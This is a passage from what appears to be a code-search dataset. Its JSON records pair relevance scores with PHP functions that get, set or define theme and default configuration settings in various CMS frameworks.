$partoo_posts_index_style) {\n\t\t\tset_theme_mod('partoo_posts_index_style', 'default');\n\t\t}\n\n\t\t// Sidebar position.\n\t\t$partoo_sidebar_position = get_theme_mod('partoo_sidebar_position');\n\t\tif ('' == $partoo_sidebar_position) {\n\t\t\tset_theme_mod('partoo_sidebar_position', 'right');\n\t\t}\n\n\t\t// Container width.\n\t\t$partoo_container_type = get_theme_mod('partoo_container_type');\n\t\tif ('' == $partoo_container_type) {\n\t\t\tset_theme_mod('partoo_container_type', 'container');\n\t\t}\n\t}", "title": "" }, { "docid": "4bfc586f5373883aab369f5554fea55b", "score": "0.61876476", "text": "public function getTheme()\n {\n return EJqGridConfig::singleton()->getTheme();\n }", "title": "" }, { "docid": "8ac2a14fe31921f9a60c9ef3dbb92a6a", "score": "0.6186216", "text": "public function getTheme() {\n $theme = '';\n $isPreview = $this\n ->papaya()\n ->request\n ->getParameter('preview', FALSE, NULL, PapayaRequest::SOURCE_PATH);\n if ($isPreview) {\n $theme = $this\n ->papaya()\n ->session\n ->values\n ->get('PapayaPreviewTheme');\n }\n if (empty($theme)) {\n $theme = $this\n ->papaya()\n ->options\n ->getOption('PAPAYA_LAYOUT_THEME');\n }\n $themeNameParts = explode('-', $theme);\n if (count($themeNameParts) == 2) {\n $theme = $themeNameParts[0];\n $this->_subThemeName = $themeNameParts[1];\n }\n return $theme;\n }", "title": "" }, { "docid": "f94d0ac0cb21c51148aa8a81f93e56d3", "score": "0.6156145", "text": "public function getTheme() {\n $method_theme = $this->themeInfo();\n if ($method_theme) {\n return $method_theme;\n }\n $annotation_theme = $this->getCustomDefinition('theme');\n return $annotation_theme;\n }", "title": "" }, { "docid": "d7f745744b40ad826b0c3459364e721a", "score": "0.61506206", "text": "public function getDefaultConfiguration() {\n\t return array(\n\t \t'name' => 'ColoCrossing Portal',\n\t \t'description' => 'This is an addon module that can be used to interact with the ColoCrossing Portal.',\n\t \t'version' => '1.2.6',\n\t \t'author' => 'ColoCrossing',\n\t \t'language' => 'english',\n\t \t'fields' => $this->getConfigurationFields()\n\t );\n\t}", "title": "" }, { "docid": "afd4e00699c31e6aaa73dd91ccc48834", "score": "0.6149701", "text": "final public function getTheme() {\n\t\treturn $this->_baseView->theme;\n\t}", "title": "" }, { "docid": "4760eed17604a52b3e0c404f5376536e", "score": "0.6099747", "text": "function active_clients_theme()\r\n{\r\n $CI =& get_instance();\r\n\r\n $theme = get_option('clients_default_theme');\r\n if ($theme == '') {\r\n show_error('Default theme is not set');\r\n }\r\n if (!is_dir(APPPATH . 'views/themes/' . $theme)) {\r\n show_error('Theme does not exists');\r\n }\r\n return $theme;\r\n}", "title": "" }, { "docid": "6e68f2bcd802f632617fa28417a95ffe", "score": "0.609686", "text": "function get_default_settings() {\n\n\t$settings = [\n\t\t'roles' => array_keys( members_get_roles() ), // Defaults to all roles.\n\t\t'redirect_url' => esc_url_raw( home_url() ),\n\t\t'disable_toolbar' => true\n\t];\n\n\treturn apply_filters( app()->namespace . '/get_default_settings', $settings );\n}", "title": "" }, { "docid": "b4b8c93f8d8c56976ab8fb4fff5305b7", "score": "0.60928655", "text": "public function getTheme()\r\n {\r\n return $this->theme;\r\n }", "title": "" }, { "docid": "061ad6550a285bac49649f4b53824d40", "score": "0.6092293", "text": "public function getTheme()\n {\n return $this->viewBuilder()->getTheme();\n }", "title": "" }, { "docid": "a5c7253ef1fdf9fc511776434e6c748d", "score": "0.60674137", "text": "function getTheme();", "title": "" }, { "docid": "89a948df1b37db475561db37cd810248", "score": "0.605363", "text": "private function defaultSettings()\n {\n {\n $breadcrumbs = [['link' => \"/\", 'name' => \"Home\"], ['link' => \"javascript:void(0)\", 'name' => \"Pages\"], ['name' => \"Account Settings\"]];\n $shiftData = $this->getShiftDetails();\n\n return view('company.settings', ['breadcrumbs' => $breadcrumbs,'shiftdata'=>$shiftData]);\n }\n }", "title": "" }, { "docid": "a8c324f90d9f89f6a794095821381a23", "score": "0.60354215", "text": "public static function get_config() {\n if (file_exists(FUNC_INC . \"/theme/config.php\")) {\n return require_once(FUNC_INC . \"/theme/config.php\");\n } else {\n return array();\n }\n }", "title": "" }, { "docid": "71a58bc645b4018366ede6e63ff1b91e", "score": "0.6032275", "text": "public function theme( $theme = NULL){\r\r\n\r\r\n\t\t// Find if a theme has been set up\r\r\n\t\tif( NULL !== $theme){\r\r\n\t\t\t$this->theme = $theme;\r\r\n\t\t}else{\r\r\n\t\t\t$this->theme = get_instance()->config->item('theme');\r\r\n\t\t}\r\r\n\t\t\r\r\n\t\t// Add trailing slash if necessary\r\r\n\t\tif('' !== $this->theme){\r\r\n\t\t\t$this->theme = add_trailing_slash($this->theme);\r\r\n\t\t}\r\r\n\r\r\n\t\t// set the theme path var and constant, and the theme uri var\r\r\n\t\t$this->theme_path = VIEWPATH . rtrim(rtrim($this->theme, '\\\\'), '/');\r\r\n\t\tdefined('THEMEPATH') OR define('THEMEPATH', $this->theme_path);\r\r\n\t\t$this->theme_uri = base_url().get_app_directory().'/'.get_views_directory().'/'.$this->theme;\r\r\n\r\r\n\t}", "title": "" }, { "docid": "7af0d4412d7dca87b8c499aa8662c333", "score": "0.602524", "text": "public function getTheme()\n {\n return $this->theme;\n }", "title": "" }, { "docid": "7af0d4412d7dca87b8c499aa8662c333", "score": "0.602524", "text": "public function getTheme()\n {\n return $this->theme;\n }", "title": "" }, { "docid": "1d3cd42d0698a34dc9cdcc61b38a976c", "score": "0.6019916", "text": "private function _getDefaultWidgetConfig()\n {\n return [\n 'color' => self::DEFAULT_WIDGET_COLOR,\n 'position' => self::DEFAULT_WIDGET_POSITION,\n ];\n }", "title": "" }, { "docid": "205b6423f3cddf9b1487b2c7b4b52d7c", "score": "0.60196173", "text": "public function themes() {\n $this->load->model('ThemesModel');\n\n $data = array(\n 'page_title' => 'Theme Settings',\n 'page_data' => $this->page_data,\n 'user' => $this->admin_user,\n 'current_theme' => $this->ThemesModel->get(),\n 'themes' => $this->ThemesModel->getAvailableThemes(), // This method inside ThemesModel will return an array of installed themes.\n );\n $this->load->view('admin/general/themes/main', $data);\n }", "title": "" }, { "docid": "15e5ff297d68872f92cd340595daee5e", "score": "0.60113823", "text": "public function defineProperties()\n {\n return [\n 'theme' => [\n 'description' => 'Theme',\n 'title' => 'Theme',\n 'default' => 'default',\n 'type' => 'dropdown',\n 'options' => ['default'=>'Default','dark'=>'Dark','funky'=>'Funky','okaidia'=>'Okaidia','twilight'=>'Twilight','coy'=>'Coy']\n ]\n ];\n }", "title": "" }, { "docid": "52c6b51d07dd36ee4b2c3a436e3a244a", "score": "0.599794", "text": "public function getTheme()\n {\n return $this->current_theme;\n }", "title": "" }, { "docid": "25fb9108d8163120e8eea9addf3af720", "score": "0.5981186", "text": "private function setThemeStyle() {\n $content = \"\";\n if ($this->_theme != null) {\n $content =\"/* Selected theme => \".$this->_theme[1].\"*/\\n\";\n $content .= \"@mainColor : \".$this->_theme[2].\";\\n\";\n\t\t\t$content .= \"@mainDarkFontColor: \".$this->_theme[3].\";\\n\";\n\t\t\t$content .= \"@bodyColor: \".$this->_theme[4].\";\\n\";\n $content .= \"@bodyFontColor: \".$this->_theme[5].\";\\n\";\n $content .= \"@sideBarColor: \".$this->_theme[6].\";\\n\";\n\t\t\t$content .= \"@sideBarFontColor: \".$this->_theme[7].\";\\n\";\n\t\t\t$content .= \"@linkColor: \".$this->_theme[8].\";\\n\";\n $content .= \"@linkHoverColor: \".$this->_theme[9].\";\\n\";\n }\n else {\n $content =\"/* Error so => Default theme */\\n\";\n $content .=\"@mainColor : #fdd700;\\n\";\n\t\t\t$content .=\"@mainDarkFontColor: #000;\\n\";\n $content .=\"@bodyColor: #333;\\n\";\n $content .=\"@bodyFontColor: #fff;\\n\";\n $content .=\"@sideBarColor: #292b2c;\\n\";\n\t\t\t$content .=\"@sideBarFontColor: #dedede;\\n\";\n $content .=\"@linkColor: rgba(255,255,255,.5);\\n\";\n $content .=\"@linkHoverColor: #fff;\\n\";\n }\n\n try{\n $config = fopen(__DIR__ . \"/../css/config.less\", \"w\") or die(\"Unable to open file!\");\n fwrite($config, utf8_encode($content));\n fclose($config);\n }\n catch(Exception $e){\n echo \"erreur config theme\";\n }\n }", "title": "" }, { "docid": "635e2b87fd4a8806dab6b099ea41d0cd", "score": "0.5975975", "text": "public function setDefaultTheme(Request $request) {\n $config = $this->configFactory->getEditable('system.theme');\n $theme = $request->query->get('theme');\n\n if (isset($theme)) {\n // Get current list of themes.\n $themes = $this->themeHandler->listInfo();\n // Display confirmation form if an experimental theme is being installed.\n if ($this->willInstallExperimentalTheme($theme)) {\n return $this->formBuilder()->getForm(ThemeExperimentalConfirmForm::class, $theme, TRUE);\n }\n\n // Check if the specified theme is one recognized by the system.\n // Or try to install the theme.\n if (isset($themes[$theme]) || $this->themeInstaller->install([$theme])) {\n $themes = $this->themeHandler->listInfo();\n\n // Set the default theme.\n $config->set('default', $theme)->save();\n\n // The status message depends on whether an admin theme is currently in\n // use: a value of 0 means the admin theme is set to be the default\n // theme.\n $admin_theme = $config->get('admin');\n if (!empty($admin_theme) && $admin_theme != $theme) {\n $this->messenger()\n ->addStatus($this->t('Please note that the administration theme is still set to the %admin_theme theme; consequently, the theme on this page remains unchanged. All non-administrative sections of the site, however, will show the selected %selected_theme theme by default.', [\n '%admin_theme' => $themes[$admin_theme]->info['name'],\n '%selected_theme' => $themes[$theme]->info['name'],\n ]));\n }\n else {\n $this->messenger()->addStatus($this->t('%theme is now the default theme.', ['%theme' => $themes[$theme]->info['name']]));\n }\n }\n else {\n $this->messenger()->addError($this->t('The %theme theme was not found.', ['%theme' => $theme]));\n }\n\n return $this->redirect('system.themes_page');\n\n }\n throw new AccessDeniedHttpException();\n }", "title": "" }, { "docid": "826563572faf09751389241c79059615", "score": "0.5969711", "text": "public function getConfig()\n {\n if ($this->configCache !== null) {\n return $this->configCache;\n }\n\n $path = $this->getPath().'/theme.yaml';\n if (!File::exists($path)) {\n return $this->configCache = [];\n }\n\n $config = Yaml::parseFile($path);\n\n /**\n * @event cms.theme.extendConfig\n * Extend basic theme configuration supplied by the theme by returning an array.\n *\n * Note if planning on extending form fields, use the `cms.theme.extendFormConfig`\n * event instead.\n *\n * Example usage:\n *\n * Event::listen('cms.theme.extendConfig', function ($themeCode, &$config) {\n * $config['name'] = 'October Theme';\n * $config['description'] = 'Another great theme from October CMS';\n * });\n *\n */\n Event::fire('cms.theme.extendConfig', [$this->getDirName(), &$config]);\n\n return $this->configCache = $config;\n }", "title": "" }, { "docid": "12489249b0d2efa12787c40dcb517402", "score": "0.59679955", "text": "public function defaultConfig();", "title": "" }, { "docid": "950d54fbbfa84b6eb16b602c0a7214d0", "score": "0.59676826", "text": "function theme($themeName = null, $layoutName = null)\n {\n $theme = app('theme');\n\n if ($themeName) {\n $theme->theme($themeName);\n }\n\n if ($layoutName) {\n $theme->layout($layoutName);\n }\n\n return $theme;\n }", "title": "" }, { "docid": "6a0f89b8c10ae5ed81cd725d5e8e4fc9", "score": "0.5966083", "text": "public function getThemes();", "title": "" }, { "docid": "def36156e85bd2c70b4ca8dc34cf8cc8", "score": "0.59390223", "text": "static public function getBaseDefaults(){\n\t\treturn Array(\n\t\t\t'automatic-feed-links'=> true\n\t\t\t,'content-width'=> 625\n\t\t\t,'custom-background'=> Array(\n\t\t\t\t'background-color'=> 'ffffff'\n\t\t\t)\n\t\t\t,'custom-header'=> Array(\n\t\t\t\t'default-image'=> ''\n\t\t\t\t,'default-text-color'=> '000000'\n\t\t\t\t,'flex-height'=> true\n\t\t\t\t,'flex-width'=> true\n\t\t\t\t,'height'=> 250\n\t\t\t\t,'max-width'=> 2000\n\t\t\t\t,'random-default'=> false\n\t\t\t\t,'width'=> 960\n\t\t\t)\n\t\t\t,'editor-style'=> false\n\t\t\t,'html5'=> array(\n\t\t\t\t'comment-list'\n\t\t\t\t,'comment-form'\n\t\t\t\t,'search-form'\n\t\t\t)\n\t\t\t,'i18n'=> array(\n\t\t\t\t'dir'=> 'languages'\n\t\t\t\t,'domain'=> 'tjmbase'\n\t\t\t)\n\t\t\t// ,'image-size'=> array(\n\t\t\t// \t'category-thumb'=> Array(\n\t\t\t// \t\t300\n\t\t\t// \t\t,9999\n\t\t\t// \t)\n\t\t\t// \t,'small'=> Array(\n\t\t\t// \t\t100\n\t\t\t// \t\t,9999\n\t\t\t// \t)\n\t\t\t// )\n\t\t\t,'nav-menus'=> Array(\n\t\t\t\t'footer'=> __('Footer', 'tjmbase')\n\t\t\t\t,'header'=> __('Header', 'tjmbase')\n\t\t\t)\n\t\t\t,'post-formats'=> false\n\t\t\t,'post-thumbnails'=> true\n\t\t\t,'post-thumbnail-size'=> Array(625, 9999)\n\t\t\t,'title-tag'=> true\n\t\t\t,'widget-areas'=> Array(\n\t\t\t\tArray(\n\t\t\t\t\t'name'=> __('Aside 1', 'tjmbase')\n\t\t\t\t\t,'id'=> 'aside-1'\n\t\t\t\t\t,'before_widget'=> '<div id=\"%1$s\" class=\"widget %2$s\">'\n\t\t\t\t\t,'after_widget'=> '</div>'\n\t\t\t\t\t,'before_title'=> '<h3 class=\"widget-title\">'\n\t\t\t\t\t,'after_title'=> '</h3>'\n\t\t\t\t)\n\t\t\t\t,Array(\n\t\t\t\t\t'name'=> __('Aside 2', 'tjmbase')\n\t\t\t\t\t,'id'=> 'aside-2'\n\t\t\t\t\t,'before_widget'=> '<div id=\"%1$s\" class=\"widget %2$s\">'\n\t\t\t\t\t,'after_widget'=> '</div>'\n\t\t\t\t\t,'before_title'=> '<h3 class=\"widget-title\">'\n\t\t\t\t\t,'after_title'=> '</h3>'\n\t\t\t\t)\n\t\t\t\t,Array(\n\t\t\t\t\t'name'=> __('Header Widgets', 'tjmbase')\n\t\t\t\t\t,'id'=> 'header-widget-area'\n\t\t\t\t\t,'before_widget'=> '<div id=\"%1$s\" class=\"widget %2$s\">'\n\t\t\t\t\t,'after_widget'=> '</div>'\n\t\t\t\t\t,'before_title'=> '<h3 class=\"widget-title\">'\n\t\t\t\t\t,'after_title'=> '</h3>'\n\t\t\t\t)\n\t\t\t\t,Array(\n\t\t\t\t\t'name'=> __('Footer Widgets', 'tjmbase')\n\t\t\t\t\t,'id'=> 'footer-widget-area'\n\t\t\t\t\t,'before_widget'=> '<div id=\"%1$s\" class=\"widget %2$s\">'\n\t\t\t\t\t,'after_widget'=> '</div>'\n\t\t\t\t\t,'before_title'=> '<h3 class=\"widget-title\">'\n\t\t\t\t\t,'after_title'=> '</h3>'\n\t\t\t\t)\n\t\t\t)\n\t\t\t// ,'widgets'=> Array(\n\t\t\t// \t'WidgetOne'\n\t\t\t// \t,'WidgetTwo'\n\t\t\t// )\n\t\t);\n\t}", "title": "" }, { "docid": "73ba340df24645608c334a1fc0ab7da9", "score": "0.59259355", "text": "public static function getDefaultConfig() {\n\n $cfg = array(\n\t\t\t\t'sw_comm'=>1,\n\t\t\t\t'sw_search'=>1,\n\t\t\t\t'sw_forum'=>1,\n\t\t\t\t'sw_photo'=>1,\n\t\t\t\t'sw_wall'=>1,\n\t\t\t\t'sw_blogs'=>1,\n\t\t\t\t'sw_clubs'=>1,\n\t\t\t\t'sw_feed'=>1,\n\t\t\t\t'sw_awards'=>1,\n\t\t\t\t'sw_board'=>1,\n\t\t\t\t'sw_msg'=>1,\n\t\t\t\t'sw_guest'=>1,\n\t\t\t\t'sw_gifts'=>1,\n\t\t\t\t'karmatime'=>1,\n\t\t\t\t'karmaint'=>'DAY',\n\t\t\t\t'photosize'=>0,\n\t\t\t\t'watermark'=>1,\n\t\t\t\t'smallw'=>64,\n\t\t\t\t'medw'=>200,\n\t\t\t\t'medh'=>500,\n\t\t\t\t'sw_files'=>1,\n\t\t\t\t'filessize'=>100,\n\t\t\t\t'users_perpage'=>10,\n\t\t\t\t'wall_perpage'=>10,\n\t\t\t\t'filestype'=>'jpeg,gif,png,jpg,bmp,zip,rar,tar',\n\t\t\t\t'privforms'=>array(),\n\t\t\t\t'deltime'=>6\n \t);\n\n return $cfg;\n\n }", "title": "" }, { "docid": "bf2b5c7eba1f62574ad65f5d4de2d9a9", "score": "0.5919536", "text": "public function getThemes() {\n $themeDir = sfConfig::get('sf_web_dir') . '/themes';\n $result = array();\n $a = 1;\n $dir = array_diff(scandir($themeDir), Array( \".\", \"..\",\".svn\"));\n $result[0]['plain'] = 'DEFAULT';\n $result[0]['translation'] = $this->context->getI18N()->__('DEFAULT' ,null,'theme');\n foreach($dir AS $item) {\n $result[$a]['plain'] = $item;\n $result[$a++]['translation'] = $this->context->getI18N()->__($item ,null,'theme');\n }\n return $result;\n }", "title": "" }, { "docid": "073ed557f25cd22930ac9b99dfb08790", "score": "0.5915163", "text": "function pipjqui_get_default_theme_option(): string\n{\n $default = 'base';\n $test = get_option( 'pipjqui_default_theme' );\n if ( ! is_string( $test ) ) {\n add_option( 'pipjqui_default_theme', $default );\n return $default;\n }\n $clean = pipjqui_theme_to_stub( $test );\n if ( $clean !== $test ) {\n update_option( 'pipjqui_default_theme', $clean );\n }\n return $clean;\n}", "title": "" }, { "docid": "ae54f1f7361c0e469d35d8fbce629515", "score": "0.59107137", "text": "public function getTheme()\n {\n if(Container::config()->get('project')->extended)\n {\n return $this->getProject()->getTheme($this);\n }\n\n return new SidekickTheme;\n }", "title": "" }, { "docid": "7b28d9f67cfe644f8fceb561bd49d06d", "score": "0.5907532", "text": "public function themesettings()\n {\n return view('settings.themesettings');\n }", "title": "" }, { "docid": "9445e94d39b80abc765df95af74c1bdd", "score": "0.5907148", "text": "public function getTheme()\n\t{\n\t\treturn $this->getComponent('theme');\n\t}", "title": "" }, { "docid": "88070ea0d1c0bdea9dd4777a84336733", "score": "0.5897825", "text": "function fk_theme(){\r\n\t$theme = (defined('theme'))? @constant('theme') : @constant('default_theme');\r\n\treturn $theme;\r\n}", "title": "" }, { "docid": "47a9977cd88c364c151fc2450a7f757f", "score": "0.5891014", "text": "public function getCurrentTheme() {\n\t\t\t\n\t\t\t$adverts = $this->getTodayAdvertisements();\n\t\t\tif (empty($adverts))\n\t\t\t\treturn null;\n\t\t\t\t\n\t\t\t$advert = $adverts[0];\n\t\t\treturn $advert->getTheme();\n\t\t\t\n\t\t}", "title": "" }, { "docid": "95557d7ce22cc2045e1db7d1f8b794b6", "score": "0.5882127", "text": "public function getThemeImplementation();", "title": "" }, { "docid": "872709c17aaf482b6ce7f56e6783cea9", "score": "0.58800083", "text": "function jr_mt_theme( $option ) {\n\tglobal $jr_mt_theme;\n\tif ( !isset( $jr_mt_theme ) ) {\n\t\t$jr_mt_theme = array();\n\t}\n\tif ( !isset( $jr_mt_theme[$option] ) ) {\n\t\t$theme = jr_mt_chosen();\n\t\t$jr_mt_all_themes = jr_mt_all_themes();\n\t\t/*\tCheck to be sure that Theme is still installed.\n\t\t\tIf not:\n\t\t\t\treturn Everywhere theme if set and it exists,\n\t\t\t\t\totherwise, FALSE to indicate WordPress Active Theme.\n\t\t*/\n\t\tif ( ( FALSE !== $theme ) && ( !isset( $jr_mt_all_themes[ $theme ] ) ) ) {\n\t\t\t$settings = get_option( 'jr_mt_settings' );\n\t\t\t$everything = $settings['current'];\n\t\t\tif ( ( '' !== $everything ) && ( isset( $jr_mt_all_themes[ $everything ] ) ) ) {\n\t\t\t\t$theme = $everything;\n\t\t\t} else {\n\t\t\t\t$theme = FALSE;\n\t\t\t}\n\t\t}\n\t\tif ( FALSE === $theme ) {\n\t\t\t//\tGet both at once, to save a repeat of this logic later:\n\t\t\t$jr_mt_theme['stylesheet'] = jr_mt_current_theme( 'stylesheet' );\n\t\t\t$jr_mt_theme['template'] = jr_mt_current_theme( 'template' );\n\t\t} else {\n\t\t\t$jr_mt_theme['stylesheet'] = $jr_mt_all_themes[ $theme ]->stylesheet;\n\t\t\t$jr_mt_theme['template'] = $jr_mt_all_themes[ $theme ]->template;\n\t\t}\n\t\tif ( !is_admin() ) {\n\t\t\tjr_mt_cookie( 'all', 'clean' );\n\t\t}\n\t}\n\t$theme = $jr_mt_theme[$option];\n\treturn $theme;\n}", "title": "" }, { "docid": "979f69537c5f700865c003849e236eca", "score": "0.5877244", "text": "function vtl_theme_config() {\n\n\t/**\n\t * Theme colors.\n\t *\n\t * 'id' Should be a slug with underscores. Used within code.\n\t *\n\t * 'slug' Should be a slug with hyphens. WordPress will auto-format the CSS class\n\t * based on this. Example: 'body-text' will become '.has-body-text-color'.\n\t *\n\t * 'label' Should be human-readable name.\n\t *\n\t */\n\t$colors = [\n\t\t[\n\t\t\t'id' => 'color_page',\n\t\t\t'slug' => 'page',\n\t\t\t'default' => '#ffffff',\n\t\t\t'label' => 'Page Color',\n\t\t],\n\t\t[\n\t\t\t'id' => 'color_utility_nav',\n\t\t\t'slug' => 'utility-nav',\n\t\t\t'default' => '#cccccc',\n\t\t\t'label' => 'Utility Nav',\n\t\t],\n\t\t[\n\t\t\t'id' => 'color_utility_nav_text',\n\t\t\t'slug' => 'utility-nav-text',\n\t\t\t'default' => '#222222',\n\t\t\t'label' => 'Utility Nav Text',\n\t\t],\n\t\t[\n\t\t\t'id' => 'color_main_nav',\n\t\t\t'slug' => 'utility-main',\n\t\t\t'default' => '#ffffff',\n\t\t\t'label' => 'Main Nav',\n\t\t],\n\t\t[\n\t\t\t'id' => 'color_main_nav_text',\n\t\t\t'slug' => 'utility-main-text',\n\t\t\t'default' => '#3fa2f7',\n\t\t\t'label' => 'Main Nav Text',\n\t\t],\n\t\t[\n\t\t\t'id' => 'color_main_nav_text_active',\n\t\t\t'slug' => 'utility-main-text-active',\n\t\t\t'default' => '#0055a0',\n\t\t\t'label' => 'Main Nav Active Text',\n\t\t],\n\t\t[\n\t\t\t'id' => 'color_footer',\n\t\t\t'slug' => 'utility-footer',\n\t\t\t'default' => '#cccccc',\n\t\t\t'label' => 'Footer',\n\t\t],\n\t\t[\n\t\t\t'id' => 'color_footer_text',\n\t\t\t'slug' => 'utility-footer-text',\n\t\t\t'default' => '#222222',\n\t\t\t'label' => 'Footer Text',\n\t\t],\n\t\t[\n\t\t\t'id' => 'color_heading',\n\t\t\t'slug' => 'heading',\n\t\t\t'default' => '#3d3d3d',\n\t\t\t'label' => 'Heading Color',\n\t\t],\n\t\t[\n\t\t\t'id' => 'color_body',\n\t\t\t'slug' => 'body',\n\t\t\t'default' => '#4e4e4e',\n\t\t\t'label' => 'Body Color',\n\t\t],\n\t\t[\n\t\t\t'id' => 'color_link',\n\t\t\t'slug' => 'link',\n\t\t\t'default' => '#3fa2f7',\n\t\t\t'label' => 'Link Color',\n\t\t],\n\t\t[\n\t\t\t'id' => 'color_custom_1',\n\t\t\t'slug' => 'custom-1',\n\t\t\t'default' => '#3fa2f7',\n\t\t\t'label' => 'Custom Color 1 (Primary CTA)',\n\t\t],\n\t\t[\n\t\t\t'id' => 'color_custom_2',\n\t\t\t'slug' => 'custom-2',\n\t\t\t'default' => '#3fa2f7',\n\t\t\t'label' => 'Custom Color 2 (Secondary CTA)',\n\t\t],\n\t\t[\n\t\t\t'id' => 'color_custom_3',\n\t\t\t'slug' => 'custom-3',\n\t\t\t'default' => '',\n\t\t\t'label' => 'Custom Color 3',\n\t\t],\n\t\t[\n\t\t\t'id' => 'color_custom_4',\n\t\t\t'slug' => 'custom-4',\n\t\t\t'default' => '',\n\t\t\t'label' => 'Custom Color 4',\n\t\t],\n\t\t[\n\t\t\t'id' => 'color_custom_5',\n\t\t\t'slug' => 'custom-5',\n\t\t\t'default' => '',\n\t\t\t'label' => 'Custom Color 5',\n\t\t],\n\t\t[\n\t\t\t'id' => 'color_custom_6',\n\t\t\t'slug' => 'custom-6',\n\t\t\t'default' => '',\n\t\t\t'label' => 'Custom Color 6',\n\t\t],\n\t\t[\n\t\t\t'id' => 'color_custom_7',\n\t\t\t'slug' => 'custom-7',\n\t\t\t'default' => '',\n\t\t\t'label' => 'Custom Color 7',\n\t\t],\n\t\t[\n\t\t\t'id' => 'color_custom_8',\n\t\t\t'slug' => 'custom-8',\n\t\t\t'default' => '',\n\t\t\t'label' => 'Custom Color 8',\n\t\t],\n\t\t[\n\t\t\t'id' => 'color_custom_9',\n\t\t\t'slug' => 'custom-9',\n\t\t\t'default' => '',\n\t\t\t'label' => 'Custom Color 9',\n\t\t],\n\t\t[\n\t\t\t'id' => 'color_custom_10',\n\t\t\t'slug' => 'custom-10',\n\t\t\t'default' => '',\n\t\t\t'label' => 'Custom Color 10',\n\t\t],\n\t\t[\n\t\t\t'id' => 'color_custom_11',\n\t\t\t'slug' => 'custom-11',\n\t\t\t'default' => '',\n\t\t\t'label' => 'Custom Color 11',\n\t\t],\n\t\t[\n\t\t\t'id' => 'color_custom_12',\n\t\t\t'slug' => 'custom-12',\n\t\t\t'default' => '',\n\t\t\t'label' => 'Custom Color 12',\n\t\t],\n\t];\n\n\t$config = [\n\t\t'colors' => $colors,\n\t];\n\n\t$config = apply_filters('vtl_theme_config', $config);\n\n\treturn $config;\n}", "title": "" }, { "docid": "1a2f03ca3f4f1a224d7c42bdeba69b1a", "score": "0.58697593", "text": "public function getSelectedTheme()\n {\n $templateName = $this->container->get('multi_domain.information')->getTemplate();\n\n return $this->container->get('doctrine')->getRepository('WysiwygBundle:Theme')->findOneBy([\n 'title' => ucfirst($templateName),\n ]);\n }", "title": "" }, { "docid": "7a778b4b92fcd8d4458a2e8dea9496fc", "score": "0.5859828", "text": "function nycns_get_theme_options() {\n\tglobal $nycitynewsservice;\n\t\n\treturn $nycitynewsservice->options;\n\t\n}", "title": "" }, { "docid": "273908883e20400883723b8cddb54d04", "score": "0.5846993", "text": "public static function defaultConfig()\n {\n return [\n // Cookies\n 'cookies.lifetime' => '1440',\n 'cookies.path' => '/',\n 'cookies.domain' => null,\n 'cookies.secure' => false,\n 'cookies.httponly' => false,\n // Secure Cookies\n 'cookies.crypt' => 'sha256',\n 'cookies.secret.key' => '8sh8w82j9s71092iw8usi',\n 'cookies.savepath' => '/tmp/',\n // Directories\n 'view' => '\\Liten\\View',\n 'view_dir' => APP_PATH . 'views' . DS,\n 'layouts_dir' => APP_PATH . 'views' . DS . '_layouts' . DS,\n 'partials_dir' => APP_PATH . 'views' . DS . '_partials' . DS,\n 'routers_dir' => APP_PATH . 'routers' . DS\n ];\n }", "title": "" }, { "docid": "6b9a6e98cf3d77f2052609d5dbc71034", "score": "0.58434486", "text": "protected function getConfiguration()\n {\n if ($this->config === null) {\n $temp = Bigace_Config::preload('social-bookmarks');\n $sites = 'digg,reddit,stumbleupon,delicious,technorati,furl,facebook,' .\n 'myspace,yahoo,script-style,blinklist,mixx,designfloat';\n $temp = Bigace_Config::get('social-bookmarks', 'sites', $sites);\n\n // if empty, all available services will be offered\n if (strlen(trim($temp)) == 0) {\n $temp = $sites;\n }\n\n $this->config = array(\n 'css' => Bigace_Config::get('social-bookmarks', 'internal.css', true),\n 'sites' => $temp\n );\n }\n return $this->config;\n }", "title": "" }, { "docid": "a90ba56f976a2cb2588ef590ecc7802e", "score": "0.58271825", "text": "function osha_configure_default_themes() {\n drupal_set_message('Configuring Drupal default themes ...');\n\n variable_set('admin_theme', 'osha_admin');\n variable_set('theme_default', 'osha_frontend');\n}", "title": "" }, { "docid": "1ad47b0ba8c7fb6bd71dff008694aff7", "score": "0.5819331", "text": "public static function createDefaultConfiguration()\n {\n return new static(\n [\n 'title',\n 'alternativeTitle',\n 'teaser',\n 'bodytext',\n //'author',\n //'authorEmail',\n //'type',\n //'keywords',\n //'description',\n ]\n );\n }", "title": "" }, { "docid": "1e1a3c50e485d7639a55563ebbc50b5d", "score": "0.5818703", "text": "protected function getDefaultConfiguration()\n {\n return [];\n }", "title": "" }, { "docid": "5ed054ce2cbe8d0abd5d193c80d7b283", "score": "0.58165854", "text": "private function get_theme_styles_url() {\n\n\t\t$stylesheet_url['theme'] = get_stylesheet_uri();\n\t\t// return array for future proofing\n\t\treturn $stylesheet_url;\n\n\t}", "title": "" }, { "docid": "7fefdc80deaaf3acd8e6a27cabf4e6e8", "score": "0.5794807", "text": "private function initDefaultConfig()\n {\n return [\n self::PATHS => $this->path->initDefaultPaths(),\n self::AUTH => [],\n self::OPTIONS => []\n ];\n }", "title": "" }, { "docid": "b71f4e213f1f8d3f67c1c6130d475ce9", "score": "0.5789774", "text": "protected function defaultConfig(): array\n {\n return $this->defaultConfig;\n }", "title": "" }, { "docid": "b9f3813da767f14b3d6c761b526cf525", "score": "0.5784883", "text": "public function getCss()\n {\n if (isset($this->_themeConfig['css'])) {\n return array_merge($this->_themeConfig['css'], $this->_data['css']);\n } else {\n return $this->_data['css'];\n }\n }", "title": "" }, { "docid": "0cf43523aad38a0a42877f88d0334335", "score": "0.57767296", "text": "private function fallbackTheme($theme)\n {\n return array(\n 'tokens' => array(\n 'brand' => (is_string($theme['tokens']['brand']) ? $theme['tokens']['brand'] : '#E64415'),\n 'brandDark' => (is_string($theme['tokens']['brandDark']) ? $theme['tokens']['brandDark'] : '#235973'),\n 'brandDarkest' => (is_string($theme['tokens']['brandDarkest']) ? $theme['tokens']['brandDarkest'] : '#1A3A4A'),\n 'brandLightest' => (is_string($theme['tokens']['brandLightest']) ? $theme['tokens']['brandLightest'] : '#E9F1F5'),\n 'shadeDark' => (is_string($theme['tokens']['shadeDark']) ? $theme['tokens']['shadeDark'] : '#807E7C'),\n 'shadeBase' => (is_string($theme['tokens']['shadeBase']) ? $theme['tokens']['shadeBase'] : '#807E7C'),\n 'contrast' => (is_string($theme['tokens']['contrast']) ? $theme['tokens']['contrast'] : '#000'),\n 'alt' => (is_string($theme['tokens']['alt']) ? $theme['tokens']['alt'] : '#fff'),\n ),\n 'fonts' => array(\n 'ci' => array(\n 'name' => (is_string($theme['fonts']['ci']['name']) ? 